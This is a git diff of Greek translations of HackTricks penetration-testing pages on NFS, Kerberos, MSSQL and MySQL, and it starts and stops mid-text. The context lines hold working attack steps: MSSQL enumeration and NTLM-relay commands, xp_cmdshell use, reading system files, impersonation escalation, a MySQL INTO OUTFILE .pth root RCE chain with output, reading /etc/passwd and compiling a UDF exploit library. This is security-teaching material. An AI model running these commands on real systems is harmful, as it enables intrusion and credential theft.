δυνατό στην v4). ### NSFShell -Για να καταγράψετε εύκολα, να τοποθετήσετε και να αλλάξετε UID και GID για να έχετε πρόσβαση σε αρχεία, μπορείτε να χρησιμοποιήσετε [nfsshell](https://github.com/NetDirect/nfsshell). +Για να καταγράφετε, τοποθετείτε και αλλάζετε εύκολα UID και GID για να έχετε πρόσβαση σε αρχεία, μπορείτε να χρησιμοποιήσετε [nfsshell](https://github.com/NetDirect/nfsshell). [Ωραίο tutorial για το NFSShell.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/) @@ -140,11 +140,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock - **Χρήση Ανασφαλών Θυρών (`insecure`):** Όταν είναι ενεργοποιημένο, αυτό επιτρέπει στο σύστημα να χρησιμοποιεί θύρες πάνω από το 1024. Η ασφάλεια των θυρών πάνω από αυτό το εύρος μπορεί να είναι λιγότερο αυστηρή, αυξάνοντας τον κίνδυνο. -- **Ορατότητα Ενσωματωμένων Συστήματων Αρχείων (`nohide`):** Αυτή η ρύθμιση καθιστά τους καταλόγους ορατούς ακόμη και αν ένα άλλο σύστημα αρχείων είναι τοποθετημένο κάτω από έναν εξαγόμενο κατάλογο. Κάθε κατάλογος απαιτεί τη δική του καταχώρηση εξαγωγής για σωστή διαχείριση. +- **Ορατότητα Εγκατεστημένων Συστήματων Αρχείων (`nohide`):** Αυτή η ρύθμιση καθιστά τους καταλόγους ορατούς ακόμη και αν ένα άλλο σύστημα αρχείων είναι τοποθετημένο κάτω από έναν εξαγόμενο κατάλογο. Κάθε κατάλογος απαιτεί τη δική του καταχώρηση εξαγωγής για σωστή διαχείριση. -- **Ιδιοκτησία Αρχείων Ρίζας (`no_root_squash`):** Με αυτή τη ρύθμιση, τα αρχεία που δημιουργούνται από τον χρήστη ρίζας διατηρούν το αρχικό τους UID/GID 0, αγνοώντας την αρχή της ελάχιστης προνομίας και ενδεχομένως παρέχοντας υπερβολικά δικαιώματα. +- **Κυριότητα Αρχείων Ρίζας (`no_root_squash`):** Με αυτή τη ρύθμιση, τα αρχεία που δημιουργούνται από τον χρήστη ρίζας διατηρούν το αρχικό τους UID/GID 0, αγνοώντας την αρχή της ελάχιστης προνομίας και ενδεχομένως παρέχοντας υπερβολικά δικαιώματα. -- **Μη Συμπίεση Όλων των Χρηστών (`no_all_squash`):** Αυτή η επιλογή διασφαλίζει ότι οι ταυτότητες των χρηστών διατηρούνται σε όλο το σύστημα, κάτι που θα μπορούσε να οδηγήσει σε ζητήματα δικαιωμάτων και ελέγχου πρόσβασης αν δεν διαχειριστεί σωστά. +- **Μη Συμπίεση Όλων των Χρηστών (`no_all_squash`):** Αυτή η επιλογή διασφαλίζει ότι οι ταυτότητες χρηστών διατηρούνται σε όλο το σύστημα, κάτι που θα μπορούσε να οδηγήσει σε ζητήματα δικαιωμάτων και ελέγχου πρόσβασης αν δεν διαχειριστεί σωστά. ## Κλιμάκωση Προνομίων χρησιμοποιώντας κακές ρυθμίσεις NFS diff --git a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md index 67e069dfb..52a251cb5 100644 --- a/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md +++ b/src/network-services-pentesting/pentesting-compaq-hp-insight-manager.md @@ -1,14 +1,17 @@ +# # 2301/tcp - Pentesting Compaq/HP Insight Manager + {{#include ../banners/hacktricks-training.md}} **Προεπιλεγμένη Θύρα:** 2301,2381 -# **Προεπιλεγμένοι κωδικοί πρόσβασης** +## Προεπιλεγμένοι κωδικοί πρόσβασης + {{#ref}} http://www.vulnerabilityassessment.co.uk/passwordsC.htm {{#endref}} -# Αρχεία ρυθμίσεων +## Αρχεία ρυθμίσεων ```text path.properties mx.log diff --git a/src/network-services-pentesting/pentesting-kerberos-88/README.md b/src/network-services-pentesting/pentesting-kerberos-88/README.md index a6f189aef..8ede7536c 100644 --- a/src/network-services-pentesting/pentesting-kerberos-88/README.md +++ b/src/network-services-pentesting/pentesting-kerberos-88/README.md @@ -8,14 +8,14 @@ Σε περιβάλλοντα όπως το **Active Directory**, το **Kerberos** είναι καθοριστικό για την καθ establishment της ταυτότητας των χρηστών μέσω της επικύρωσης των μυστικών τους κωδικών. Αυτή η διαδικασία διασφαλίζει ότι η ταυτότητα κάθε χρήστη επιβεβαιώνεται πριν αλληλεπιδράσει με τους πόρους του δικτύου. Ωστόσο, το **Kerberos** δεν επεκτείνει τη λειτουργικότητά του για να αξιολογήσει ή να επιβάλει τα δικαιώματα που έχει ένας χρήστης σε συγκεκριμένους πόρους ή υπηρεσίες. Αντίθετα, παρέχει έναν ασφαλή τρόπο αυθεντικοποίησης χρηστών, ο οποίος είναι ένα κρίσιμο πρώτο βήμα στη διαδικασία ασφάλειας. -Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση στους πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα. +Μετά την αυθεντικοποίηση από το **Kerberos**, η διαδικασία λήψης αποφάσεων σχετικά με την πρόσβαση σε πόρους ανατίθεται σε μεμονωμένες υπηρεσίες εντός του δικτύου. Αυτές οι υπηρεσίες είναι υπεύθυνες για την αξιολόγηση των δικαιωμάτων και των αδειών του αυθεντικοποιημένου χρήστη, με βάση τις πληροφορίες που παρέχει το **Kerberos** σχετικά με τα προνόμια του χρήστη. Αυτός ο σχεδιασμός επιτρέπει έναν διαχωρισμό των ανησυχιών μεταξύ της αυθεντικοποίησης της ταυτότητας των χρηστών και της διαχείρισης των δικαιωμάτων πρόσβασης τους, επιτρέποντας μια πιο ευέλικτη και ασφαλή προσέγγιση στη διαχείριση πόρων σε κατανεμημένα δίκτυα. **Default Port:** 88/tcp/udp ``` PORT STATE SERVICE 88/tcp open kerberos-sec ``` -### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.** +### **Για να μάθετε πώς να εκμεταλλευτείτε το Kerberos, θα πρέπει να διαβάσετε την ανάρτηση σχετικά με το** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.** ## Περισσότερα @@ -25,7 +25,7 @@ PORT STATE SERVICE ### MS14-068 -Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το Kerberos login token ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα προνόμια, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλη την Active Directory δασοκομία. +Η αδυναμία MS14-068 επιτρέπει σε έναν επιτιθέμενο να παραποιήσει το διαπιστευτήριο σύνδεσης Kerberos ενός νόμιμου χρήστη για να ισχυριστεί ψευδώς ότι έχει ανυψωμένα δικαιώματα, όπως το να είναι Domain Admin. Αυτή η ψευδής αξίωση επικυρώνεται λανθασμένα από τον Domain Controller, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε πόρους δικτύου σε όλο το Active Directory δάσος. {{#ref}} https://adsecurity.org/?p=541 diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 13ef0bf74..10083cf6d 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: Αυτή η βάση δεδομένων είναι κρίσιμη καθώς καταγράφει όλες τις λεπτομέρειες σε επίπεδο συστήματος για μια εγκατάσταση SQL Server. - **msdb Database**: Ο SQL Server Agent χρησιμοποιεί αυτή τη βάση δεδομένων για να διαχειρίζεται τον προγραμματισμό για ειδοποιήσεις και εργασίες. -- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, ταξινόμηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες δημιουργούμενες βάσεις δεδομένων. -- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που συνοδεύουν το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων. +- **model Database**: Λειτουργεί ως σχέδιο για κάθε νέα βάση δεδομένων στην εγκατάσταση SQL Server, όπου οποιεσδήποτε τροποποιήσεις όπως μέγεθος, κωδικοποίηση, μοντέλο αποκατάστασης και άλλα αντικατοπτρίζονται σε νέες βάσεις δεδομένων που δημιουργούνται. +- **Resource Database**: Μια βάση δεδομένων μόνο για ανάγνωση που φιλοξενεί αντικείμενα συστήματος που έρχονται με το SQL Server. Αυτά τα αντικείμενα, αν και αποθηκεύονται φυσικά στη βάση δεδομένων Resource, παρουσιάζονται λογικά στο σχήμα sys κάθε βάσης δεδομένων. - **tempdb Database**: Λειτουργεί ως προσωρινός χώρος αποθήκευσης για παροδικά αντικείμενα ή ενδιάμεσα σύνολα αποτελεσμάτων. ## Απαρίθμηση @@ -29,8 +29,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 msf> use auxiliary/scanner/mssql/mssql_ping ``` -> [!NOTE] -> Αν **δεν έχετε** **διαπιστευτήρια** μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε nmap ή metasploit. Προσέξτε, μπορείτε να **μπλοκάρετε λογαριασμούς** αν αποτύχετε να συνδεθείτε πολλές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη. +> [!TIP] +> Αν **δεν έχετε διαπιστευτήρια** μπορείτε να προσπαθήσετε να τα μαντέψετε. Μπορείτε να χρησιμοποιήσετε το nmap ή το metasploit. Προσέξτε, μπορείτε να **μπλοκάρετε λογαριασμούς** αν αποτύχετε να συνδεθείτε πολλές φορές χρησιμοποιώντας ένα υπάρχον όνομα χρήστη. #### Metasploit (χρειάζονται διαπιστευτήρια) ```bash @@ -131,6 +131,7 @@ use_link [NAME] ``` #### Λάβετε Χρήστη + {{#ref}} types-of-mssql-users.md {{#endref}} @@ -187,7 +188,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Execute OS Commands > [!CAUTION] -> Σημειώστε ότι για να μπορείτε να εκτελείτε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: +> Σημειώστε ότι για να μπορέσετε να εκτελέσετε εντολές, δεν είναι μόνο απαραίτητο να έχετε **`xp_cmdshell`** **ενεργοποιημένο**, αλλά επίσης να έχετε την **άδεια EXECUTE στη διαδικασία αποθήκευσης `xp_cmdshell`**. Μπορείτε να δείτε ποιος (εκτός από τους sysadmins) μπορεί να χρησιμοποιήσει **`xp_cmdshell`** με: > > ```sql > Use master @@ -264,7 +265,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Μπορείτε να ελέγξετε ποιος (εκτός από τους sysadmins) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με: +> Μπορείτε να ελέγξετε ποιος (εκτός από τους διαχειριστές συστήματος) έχει άδειες για να εκτελεί αυτές τις λειτουργίες MSSQL με: > > ```sql > Use master; @@ -276,6 +277,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 Χρησιμοποιώντας εργαλεία όπως το **responder** ή το **Inveigh** είναι δυνατό να **κλέψετε το NetNTLM hash**.\ Μπορείτε να δείτε πώς να χρησιμοποιήσετε αυτά τα εργαλεία στο: + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} @@ -284,6 +286,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25 [**Διαβάστε αυτή την ανάρτηση**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **για να βρείτε περισσότερες πληροφορίες σχετικά με το πώς να καταχραστείτε αυτή τη δυνατότητα:** + {{#ref}} ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md {{#endref}} @@ -310,7 +313,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Διαβάστε αρχείο με** OPENROWSET -Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαιώματα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: +Από προεπιλογή, `MSSQL` επιτρέπει την ανάγνωση αρχείων **σε οποιοδήποτε αρχείο στο λειτουργικό σύστημα στο οποίο ο λογαριασμός έχει δικαίωμα ανάγνωσης**. Μπορούμε να χρησιμοποιήσουμε την παρακάτω SQL ερώτηση: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -345,12 +348,12 @@ print(sys.version) ' GO ``` -### Ανάγνωση Μητρώου +### Read Registry -Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Μητρώο των Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** +Microsoft SQL Server παρέχει **πολλές επεκτεταμένες αποθηκευμένες διαδικασίες** που σας επιτρέπουν να αλληλεπιδράτε όχι μόνο με το δίκτυο αλλά και με το σύστημα αρχείων και ακόμη και το [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:** -| **Κανονική** | **Ευαισθησία σε Instance** | -| --------------------------- | ------------------------------------ | +| **Κανονικές** | **Ευαισθητοποιημένες στην Εγκατάσταση** | +| ----------------------------- | ------------------------------------ | | sys.xp_regread | sys.xp_instance_regread | | sys.xp_regenumvalues | sys.xp_instance_regenumvalues | | sys.xp_regenumkeys | sys.xp_instance_regenumkeys | @@ -442,7 +445,7 @@ public void Test() ### Από db_owner σε sysadmin -Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**διαχειριστής**). +Εάν ένας **κανονικός χρήστης** λάβει τον ρόλο **`db_owner`** πάνω στη **βάση δεδομένων που ανήκει σε έναν χρήστη διαχειριστή** (όπως ο **`sa`**) και αυτή η βάση δεδομένων είναι ρυθμισμένη ως **`trustworthy`**, αυτός ο χρήστης μπορεί να καταχραστεί αυτά τα προνόμια για **privesc** επειδή οι **stored procedures** που δημιουργούνται εκεί μπορούν να **εκτελούνται** ως ο ιδιοκτήτης (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -508,10 +511,10 @@ enum_links # If there is a link of interest, re-run the above steps on each link use_link [NAME] ``` -> [!NOTE] -> Αν μπορείτε να προσποιηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. +> [!TIP] +> Αν μπορείτε να μιμηθείτε έναν χρήστη, ακόμη και αν δεν είναι sysadmin, θα πρέπει να ελέγξετε **αν ο χρήστης έχει πρόσβαση** σε άλλες **βάσεις δεδομένων** ή συνδεδεμένους διακομιστές. -Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να προσποιηθείτε οποιονδήποτε άλλο: +Σημειώστε ότι μόλις γίνετε sysadmin μπορείτε να μιμηθείτε οποιονδήποτε άλλο: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -539,17 +542,17 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Ένας επιτιθέμενος μπορεί να εξάγει τους κωδικούς πρόσβασης των SQL Server Linked Servers από τις SQL Instances και να τους αποκτήσει σε καθαρό κείμενο, παρέχοντας στον επιτιθέμενο κωδικούς πρόσβασης που μπορούν να χρησιμοποιηθούν για να αποκτήσει μεγαλύτερη πρόσβαση στον στόχο. Το σενάριο για την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης που αποθηκεύονται για τους Linked Servers μπορεί να βρεθεί [εδώ](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή ή τη δυνατότητα διαχείρισης των ρυθμίσεων του SQL Server. +Ορισμένες απαιτήσεις και ρυθμίσεις πρέπει να γίνουν ώστε να λειτουργήσει αυτή η εκμετάλλευση. Πρώτα απ' όλα, πρέπει να έχετε δικαιώματα Διαχειριστή στη μηχανή, ή τη δυνατότητα να διαχειριστείτε τις ρυθμίσεις του SQL Server. Αφού επιβεβαιώσετε τα δικαιώματά σας, πρέπει να ρυθμίσετε τρία πράγματα, τα οποία είναι τα εξής: 1. Ενεργοποιήστε το TCP/IP στις SQL Server instances; -2. Προσθέστε μια παράμετρο εκκίνησης, σε αυτή την περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806. +2. Προσθέστε μια παράμετρο εκκίνησης, στην προκειμένη περίπτωση, θα προστεθεί μια σημαία παρακολούθησης, η οποία είναι -T7806. 3. Ενεργοποιήστε τη σύνδεση απομακρυσμένου διαχειριστή. -Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαραίτητα σενάρια. Εκτός από το ότι έχει ένα σενάριο PowerShell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης. +Για να αυτοματοποιήσετε αυτές τις ρυθμίσεις, [αυτό το αποθετήριο](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) έχει τα απαραίτητα σενάρια. Εκτός από το ότι έχει ένα σενάριο powershell για κάθε βήμα της ρύθμισης, το αποθετήριο έχει επίσης ένα πλήρες σενάριο που συνδυάζει τα σενάρια ρύθμισης και την εξαγωγή και αποκρυπτογράφηση των κωδικών πρόσβασης. -Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτή την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Για περισσότερες πληροφορίες, ανατρέξτε στους παρακάτω συνδέσμους σχετικά με αυτήν την επίθεση: [Αποκρυπτογράφηση Κωδικών Πρόσβασης MSSQL Database Link Server](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [Αντιμετώπιση προβλημάτων της Σύνδεσης Αφιερωμένου Διαχειριστή SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) @@ -558,10 +561,12 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse Ο χρήστης που εκτελεί τον MSSQL server θα έχει ενεργοποιημένο το δικαίωμα **SeImpersonatePrivilege.**\ Πιθανώς θα μπορείτε να **κλιμακώσετε σε Διαχειριστή** ακολουθώντας μία από αυτές τις 2 σελίδες: + {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md {{#endref}} + {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/juicypotato.md {{#endref}} diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index dd30d27bb..c233f63ad 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -105,17 +105,18 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT ### MySQL File RCE + {{#ref}} ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} #### INTO OUTFILE → Python `.pth` RCE (ειδικές ρυθμίσεις ιστότοπου) -Καταχρώντας την κλασική εντολή `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια. +Καταχρώντας την κλασική πρωτοβουλία `INTO OUTFILE`, είναι δυνατόν να αποκτηθεί *εκτέλεση αυθαίρετου κώδικα* σε στόχους που εκτελούν αργότερα **Python** σενάρια. 1. Χρησιμοποιήστε `INTO OUTFILE` για να ρίξετε ένα προσαρμοσμένο **`.pth`** αρχείο μέσα σε οποιονδήποτε φάκελο φορτώνεται αυτόματα από το `site.py` (π.χ. `.../lib/python3.10/site-packages/`). 2. Το αρχείο `.pth` μπορεί να περιέχει μια *μοναδική γραμμή* που ξεκινά με `import ` ακολουθούμενη από αυθαίρετο Python κώδικα που θα εκτελείται κάθε φορά που ξεκινά ο διερμηνέας. -3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (το FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE). +3. Όταν ο διερμηνέας εκτελείται έμμεσα από ένα CGI σενάριο (για παράδειγμα `/cgi-bin/ml-draw.py` με shebang `#!/bin/python`), το payload εκτελείται με τα ίδια προνόμια όπως η διαδικασία του web-server (FortiWeb το εκτέλεσε ως **root** → πλήρης προ-auth RCE). Παράδειγμα payload `.pth` (μοναδική γραμμή, δεν μπορούν να περιληφθούν κενά στο τελικό SQL payload, οπότε μπορεί να απαιτείται hex/`UNHEX()` ή συγχώνευση συμβολοσειρών): ```python @@ -153,8 +154,8 @@ uid=0(root) gid=0(root) groups=0(root) ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Προσοχή στη λέξη "τοπικό")\ -Επειδή χωρίς το "τοπικό" μπορείς να πάρεις: +(Προσοχή στη λέξη "local")\ +Επειδή χωρίς το "local" μπορείς να πάρεις: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; @@ -179,13 +180,13 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '= ``` #### Επικίνδυνες Ρυθμίσεις του mysqld.cnf -Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για τον καθορισμό της λειτουργίας και των μέτρων ασφαλείας της: +Στη διαμόρφωση των υπηρεσιών MySQL, διάφορες ρυθμίσεις χρησιμοποιούνται για να καθορίσουν τη λειτουργία και τα μέτρα ασφαλείας της: - Η **`user`** ρύθμιση χρησιμοποιείται για τον καθορισμό του χρήστη υπό τον οποίο θα εκτελείται η υπηρεσία MySQL. -- Η **`password`** εφαρμόζεται για την καθορισμό του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. -- Η **`admin_address`** καθορίζει τη διεύθυνση IP που ακούει για συνδέσεις TCP/IP στη διαχειριστική διεπαφή δικτύου. +- Η **`password`** εφαρμόζεται για την καθορισμένη του κωδικού πρόσβασης που σχετίζεται με τον χρήστη MySQL. +- Η **`admin_address`** προσδιορίζει τη διεύθυνση IP που ακούει για TCP/IP συνδέσεις στη διαχειριστική διεπαφή δικτύου. - Η **`debug`** μεταβλητή υποδεικνύει τις τρέχουσες ρυθμίσεις αποσφαλμάτωσης, συμπεριλαμβανομένων ευαίσθητων πληροφοριών μέσα στα αρχεία καταγραφής. -- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιλαμβάνοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. +- Η **`sql_warnings`** διαχειρίζεται εάν παράγονται πληροφοριακές συμβολοσειρές για δηλώσεις INSERT μίας γραμμής όταν προκύπτουν προειδοποιήσεις, περιέχοντας ευαίσθητα δεδομένα μέσα στα αρχεία καταγραφής. - Με την **`secure_file_priv`**, το πεδίο των λειτουργιών εισαγωγής και εξαγωγής δεδομένων περιορίζεται για την ενίσχυση της ασφάλειας. ### Ανάβαση προνομίων @@ -208,11 +209,11 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Αν ο **mysql server τρέχει ως root** (ή ως διαφορετικός χρήστης με περισσότερα δικαιώματα) μπορείτε να τον κάνετε να εκτελεί εντολές. Για αυτό, χρειάζεται να χρησιμοποιήσετε **user defined functions**. Και για να δημιουργήσετε μια user defined θα χρειαστείτε μια **library** για το λειτουργικό σύστημα που τρέχει ο mysql. +If the **mysql server is running as root** (or a different more privileged user) you can make it execute commands. For that, you need to use **user defined functions**. And to create a user defined you will need a **library** for the OS that is running mysql. -Η κακόβουλη βιβλιοθήκη που θα χρησιμοποιήσετε μπορεί να βρεθεί μέσα στο sqlmap και μέσα στο metasploit κάνοντας **`locate "*lib_mysqludf_sys*"`**. Τα **`.so`** αρχεία είναι **linux** βιβλιοθήκες και τα **`.dll`** είναι οι **Windows**. Επιλέξτε αυτή που χρειάζεστε. +The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need. -Αν **δεν έχετε** αυτές τις βιβλιοθήκες, μπορείτε είτε να **τις αναζητήσετε**, είτε να κατεβάσετε αυτόν τον [**linux C code**](https://www.exploit-db.com/exploits/1518) και να **τον μεταγλωττίσετε μέσα στη linux ευάλωτη μηχανή**: +If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc @@ -649,7 +650,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS ## 2023-2025 Highlights (new) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει αυθαίρετες κλάσεις να φορτωθούν στην *περίπτωση* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής: +Από το Connector/J <= 8.0.32, ένας επιτιθέμενος που μπορεί να επηρεάσει το **JDBC URL** (για παράδειγμα σε λογισμικό τρίτων που ζητάει μια συμβολοσειρά σύνδεσης) μπορεί να ζητήσει την φόρτωση αυθαίρετων κλάσεων στην πλευρά του *client* μέσω της παραμέτρου `propertiesTransform`. Εάν μια συσκευή που είναι παρούσα στο class-path είναι φορτίσιμη, αυτό έχει ως αποτέλεσμα **εκτέλεση απομακρυσμένου κώδικα στο πλαίσιο του JDBC client** (προ-auth, επειδή δεν απαιτούνται έγκυρα διαπιστευτήρια). Ένα ελάχιστο PoC φαίνεται ως εξής: ```java 